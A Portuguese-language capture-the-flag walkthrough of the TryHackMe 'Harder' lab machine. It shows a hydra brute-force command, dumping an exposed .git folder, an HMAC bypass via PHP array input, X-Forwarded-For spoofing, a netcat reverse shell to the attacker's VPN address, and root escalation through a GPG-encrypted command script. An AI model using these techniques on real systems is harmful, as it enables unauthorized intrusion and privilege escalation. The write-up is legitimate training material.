Harder Writeup tryhackme
Segundo o autor da máquina tenta trazer a experiência do mundo real para o usuário, onde cada detalhe importa(e muito), é necessário analisar cada requisição e conhecer a distribuição da máquina alvo.
Varredura de Portas
A primeira coisa que vamos fazer é descobrir quais portar estão abertas e que serviços estão sendo usados, para isso usaremos o nmap.
Descobrimos duas portas abertas :), as duas portas são as portas padrão de seus serviços (a porta 22 é a porta padrão do ssh e a 80 do http).
Vamos dar uma olhada nessa porta 80.
Exploração web
Descobrindo o domínio e o primeiro subdomínio:
Ao acessar a página web nos deparamos com isso.
Ao olhar o código fonte não encontrei nada de interessante.
Tentei usar o gobuster para procurar subdiretórios mas também não encontrei nada, então decidi dar uma olhada na requisição da página.
bastar apertar F12 e ir em Network
Ao olhar a requisição feita no diretório raiz ( / ) encontramos algo muito interessante nos cookies, há um cookie chamado TestCookie que aponta para um domínio com um subdomínio.
Ao colocar o domínio em nosso /etc/hosts conseguimos acessa-lo.
Descobrindo o segundo subdomínio:
Ao tentar fazer login com “credenciais padrão” eu consegui acesso na primeira tentativa (sorte talvez ✌️ ), mas se usarmos o hydra com as wordlists da seclists e o usuário “admin” conseguimos a senha em menos de 5 minutos.
1
hydra -l admin -P /usr/share/seclists/Passwords/Most-Popular-Letter-Passes.txt ***.harder.local http-post-form "/index.php:action=set_login&user=^USER^&pass=^PASS^:Invalid login credentials!" -t 30
Ao logar nos deparamos com uma mensagem de erro
Já autenticado tentei fazer novamente a procura de subdiretórios e arquivos e encontrei algumas coisas:
1
2
3
4
/auth.php
/secret.php
/credentials.php
/hmac.php
Mas ao acessa-los não temos nenhum resultado visual :( , então tentei fazer o fuzzing de parâmetros com o wfuzz, mas também não obtive nenhum resultado.
Depois de um bom tempo decidi tentar o fuzzing de subdiretórios e pastas com outra wordlist, a common.txt, e obtive um belo resultado ❤.
1
2
3
4
5
6
7
START_TIME: Mon Aug 17 02:15:34 2020
URL_BASE: http://***.harder.local/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://***.harder.local/ ----
+ http://***.harder.local/.git/HEAD (CODE:200|SIZE:23)
Achamos um .git, isso é me deixou muito feliz ( seu eu tivesse olhado as tags da máquina as coisas seriam mais rápidas).
E com a pasta .git exposta podemos fazer o dump dela.
Essa falha é chamada de “GIT Source Code Exposure”.
Poderíamos fazer o dump com com o wget, mas felizmente há uma ferramenta para nos ajudar a facilitar nossa vida, a GitTools, e junto com ela vem o dumper, que é o que vamos usar.
Ao executa-lo temos essa saída:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
/gitdumper.sh http://***.harder.local/.git/ diretório_destino
###########
# GitDumper is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances.
# Only for educational purposes!
###########
[*] Destination folder does not exist
[+] Creating test/.git/
[+] Downloaded: HEAD
[-] Downloaded: objects/info/packs
[+] Downloaded: description
[+] Downloaded: config
[+] Downloaded: COMMIT_EDITMSG
[+] Downloaded: index
[-] Downloaded: packed-refs
[+] Downloaded: refs/heads/master
[-] Downloaded: refs/remotes/origin/HEAD
[-] Downloaded: refs/stash
[+] Downloaded: logs/HEAD
[+] Downloaded: logs/refs/heads/master
[-] Downloaded: logs/refs/remotes/origin/HEAD
[-] Downloaded: info/refs
[+] Downloaded: info/exclude
[-] Downloaded: /refs/wip/index/refs/heads/master
[-] Downloaded: /refs/wip/wtree/refs/heads/master
[+] Downloaded: objects/93/99abe877c92db19e7fc122d2879b470d7d6a58
[-] Downloaded: objects/00/00000000000000000000000000000000000000
[+] Downloaded: objects/ad/68cc6e2a786c4e671a6a00d6f7066dc1a49fc3
[+] Downloaded: objects/04/7afea4868d8b4ce8e7d6ca9eec9c82e3fe2161
[+] Downloaded: objects/e3/361e96c0a9db20541033f254df272deeb9dba7
[+] Downloaded: objects/c6/66164d58b28325393533478750410d6bbdff53
[+] Downloaded: objects/aa/938abf60c64cdb2d37d699409f77427c1b3826
[+] Downloaded: objects/cd/a7930579f48816fac740e2404903995e0ff614
[+] Downloaded: objects/22/8694f875f20080e29788d7cc3b626272107462
[+] Downloaded: objects/66/428e37f6bfaac0b42ce66106bee0a5bdf94d4e
[+] Downloaded: objects/6e/1096eae64fede71a78e54999236553b75b3b65
[+] Downloaded: objects/be/c719ffb34ca3d424bd170df5f6f37050d8a91c
Ao entrarmos na pasta, usando os comandos do git conseguimos ver algumas coisas bastante interessantes…
1
2
3
4
5
6
7
8
9
root@kali2:~/tryhack/harder/GitTools/Dumper/test# git status
On branch master
Changes not staged for commit:
(use "git add/rm <file>..." to update what will be committed)
(use "git restore <file>..." to discard changes in working directory)
deleted: .gitignore
deleted: auth.php
deleted: hmac.php
deleted: index.php
Hmm… Alguns arquivos deletados, vamos restaura-los :)
1
2
3
4
5
6
root@kali2:~/tryhack/harder/GitTools/Dumper/test# git checkout -- .
root@kali2:~/tryhack/harder/GitTools/Dumper/test# ls
auth.php hmac.php index.php
root@kali2:~/tryhack/harder/GitTools/Dumper/test# cat .gitignore
credentials.php
secret.php
Ao olhar cada arquivo minuciosamente percebi que tudo gira ao redor do hmac.php, pois o index.php “da um require” nele.
Vamos dar uma olhada no hmac.php:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
if (empty($_GET['h']) || empty($_GET['host'])) {
header('HTTP/1.0 400 Bad Request');
print("missing get parameter");
die();
}
require("secret.php"); //set $secret var
if (isset($_GET['n'])) {
$secret = hash_hmac('sha256', $_GET['n'], $secret);
}
$hm = hash_hmac('sha256', $_GET['host'], $secret);
if ($hm !== $_GET['h']){
header('HTTP/1.0 403 Forbidden');
print("extra security check failed");
die();
}
?>
Nessa parte bati muito a cabeça, pois o arquivo faz um require em secret.php, mas não conseguimos recupera-lo no dump.
Após um bom tempo decidi dar uma olhada no manual da função hash_hmac, e o primeiro comentário nos ajuda muito.
Ele está alertando que se passarmos uma array para $data nós teremos um retorno de resultado NULL, que é exatamente o que precisamos, pois se $secret for NULL nós conseguiremos saber o valor de $hm.
Fiz um código em php para conseguirmos o valor de $hm:
1
2
3
4
5
<?php
$secret = hash_hmac('sha256', [], 'naoimporta');
$hm = hash_hmac('sha256', test, $secret);
echo $hm;
?>
Ao executa-lo temos a seguinte saída se em $data colocarmos o valor teste:
1
2
3
PHP Warning: hash_hmac() expects parameter 2 to be string, array given in /root/tryhack/harder/GitTools/Dumper/test/exp.php on line 2
PHP Warning: Use of undefined constant test - assumed 'test' (this will throw an Error in a future version of PHP) in /root/tryhack/harder/GitTools/Dumper/test/exp.php on line 3
43b0cef99265f9e34c10ea9d3501926d2**************************
Ao colocarmos no navegador temos a seguinte resposta:
Passei muito tempo nessa parte, pois eu estava tentando colocar n=[] , mas se fizermos isso n será igual a uma string ([]), mas precisamos que n seja recebido como um array, para isso é necessário que declaremos n formulário GET como uma array, dessa maneira: n[]=
Ao adicionarmos o subdomínio em nosso /etc/hosts e acessá-lo nos deparamos com outra página de login, igual a primeira
E ao logarmos temos outro erro :’(
Mas podemos resolver isso de um modo simples usando o X-Forwarded-For e o Burp para que possamos “burlar” isto.
Com isso, conseguimos o acesso a página :)
Ao executarmos o comando “id”, descobrimos com que usuário estamos:
uid=1001(www) gid=1001(www) groups=1001(www)
Se tentarmos listar os arquivos do diretório da home do usuário evs conseguimos encontrar a flag de user
1
2
3
4
5
ls -la /home/evs
total 12
drwxr-sr-x 1 evs evs 4096 Jul 7 22:29 .
drwxr-xr-x 1 root root 4096 Jul 7 22:28 ..
-rw-r--r-- 1 evs evs 33 Jul 6 22:02 user.txt
E como qualquer pessoa tem permissão de leitura no arquivo user.txt, conseguimos a primeira flag
1
2
cat /home/evs/user.txt
****bf11a579dc5e********
Conseguindo acesso a máquina
Após isso tentei conseguir a reverse shell para facilitar minha vida, tentei diversas vezes, com php, e python, mas a shell sempre caia e a página não carregava mais, só consegui fazer funcionar com o netcat
Executei o seguinte comando :
nc seu_ip_da_vpn 1234 -e /bin/sh`
Deixei o netcat escutando na minha máquina:
nc -lvp 1234
Agora temos a reverse shell :)
1
2
3
4
listening on [any] 1234 ...
connect to [seu_ip_da_vpn] from harder.thm [10.10.216.154] 43119
id
uid=1001(www) gid=1001(www) groups=1001(www)
Tentei conseguir uma tty shell com python e com o socat, mas sem sucesso, vamos ter que trabalhar com a shell limitada.
Eu procurei na mão, mas depois de achar o que precisava percebi que poderia ter usado o find.
1
2
3
4
5
6
7
find / -name *.sh 2>/dev/null
/usr/bin/findssl.sh
/usr/local/bin/run-crypted.sh
find / -name *.sh 2>/dev/null
/usr/bin/findssl.sh
/usr/local/bin/run-crypted.sh
/etc/periodic/15min/evs-backup.sh
Encontramos dois arquivos interessantes, mas por enquanto vamos nos focar no evs-backup.sh, que ao olharmos nos mostra:
1
2
3
cat /etc/periodic/15min/evs-backup.sh
#!/bin/ash# ToDo: create a backup script, that saves the /www directory to our internal server
# for authentication use ssh with user "evs" and password "U6****************$bw14"
Agora temos a senha do usuário “evs” para nos autenticarmos via ssh.
Conseguindo a flag de root
Agora vamos usar o linpeas, um script que nos ajuda a achar vetores para privilege escalation.
Fiz o download do linpeas da minha máquina para a máquina alvo com o wget
Executando o linpeas, ele encontra algo que pode ser nosso vetor de “ataque”
O run-crypted.sh nos mostra um caminho:
1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/shif [ $# -eq 0 ]
then
echo -n "[*] Current User: ";
whoami;
echo "[-] This program runs only commands which are encypted for root@harder.local using gpg."
echo "[-] Create a file like this: echo -n whoami > command"
echo "[-] Encrypt the file and run the command: execute-crypted command.gpg"
else
export GNUPGHOME=/root/.gnupg/
gpg --decrypt --no-verbose "$1" | ash
fi
Mas para fazer isso precisamos da chave pública do root para poder encriptar o arquivo, e é exatamente isso que o arquivo root@harder.local.pub é
1
2
3
4
5
6
7
8
9
10
11
12
harder:~$ cat /var/backup/root@harder.local.pub
-----BEGIN PGP PUBLIC KEY BLOCK-----mDMEXwTf8RYJKwYBBAHaRw8BAQdAkJtb3UCYvPmb1/JyRPADF0uYjU42h7REPlOK
AbiN88i0IUFkbWluaXN0cmF0b3IgPHJvb3RAaGFyZGVyLmxvY2FsPoiQBBMWCAA4
FiEEb5liHk1ktq/OVuhkyR1mFZRPaHQFAl8E3/ECGwMFCwkIBwIGFQoJCAsCBBYC
AwECHgECF4AACgkQyR1mFZRPaHSt8wD8CvJLt7qyCXuJZdOBPR+X7GI2dUg0DRRu
c5gXzwk3rMMA/0JK6ZwZCHObWjwX0oLc3jvOCgQiIdaPq1WqN9/fhLAKuDgEXwTf
8RIKKwYBBAGXVQEFAQEHQNa/To/VntzySOVdvOCW+iGscTLlnsjOmiGaaWvJG14O
AwEIB4h4BBgWCAAgFiEEb5liHk1ktq/OVuhkyR1mFZRPaHQFAl8E3/ECGwwACgkQ
yR1mFZRPaHTMLQD/cqbV4dMvINa/KxATQDnbaln1Lg0jI9Jie39U44GKRIEBAJyi
+2AO+ERYahiVzkWwTEoUpjDJIv0cP/WVzfTvPk0D
=qaa6
-----END PGP PUBLIC KEY BLOCK-----
Já que temos a chave publica, podemos exporta-la:
1
2
3
4
harder:~$ gpg --import /var/backup/root@harder.local.pub
gpg: key C91D6615944F6874: public key "Administrator <root@harder.local>" imported
gpg: Total number processed: 1
gpg: imported: 1
E com ela exportada podemos encriptar um arquivo com ela
Vamos criar um arquivo com o comando que queremos que seja executado:
1
2
3
harder:~$ echo "cat /root/root.txt > /home/evs/root.txt" > comando
harder:~$ ls
comando linpeas.sh user.txt
Agora vamos encripta-lo com a cahve do root:
1
2
3
4
5
6
7
8
harder:~$ gpg -er root comando
gpg: 6C1C04522C049868: There is no assurance this key belongs to the named usersub cv25519/6C1C04522C049868 2020-07-07 Administrator <root@harder.local>
Primary key fingerprint: 6F99 621E 4D64 B6AF CE56 E864 C91D 6615 944F 6874
Subkey fingerprint: E51F 4262 1DB8 87CB DC36 11CD 6C1C 0452 2C04 9868It is NOT certain that the key belongs to the person named
in the user ID. If you *really* know what you are doing,
you may answer the next question with yes.Use this key anyway? (y/N) y
harder:~$ ls
comando comando.gpg linpeas.sh user.txt
Com isso podemos executar o nosso comando.gpg com o execute-_crypted_ e pegar nossa flag de root :)
1
2
3
4
5
6
7
harder:~$ /usr/local/bin/execute-crypted comando.gpg
gpg: encrypted with 256-bit ECDH key, ID 6C1C04522C049868, created 2020-07-07
"Administrator <root@harder.local>"
harder:~$ ls
comando comando.gpg linpeas.sh root.txt user.txt
harder:~$ cat root.txt
*******672889e0756b09f********
Obrigado por terem lido, espero ter ajudado e ensinado algo de novo com o processo de resolução❤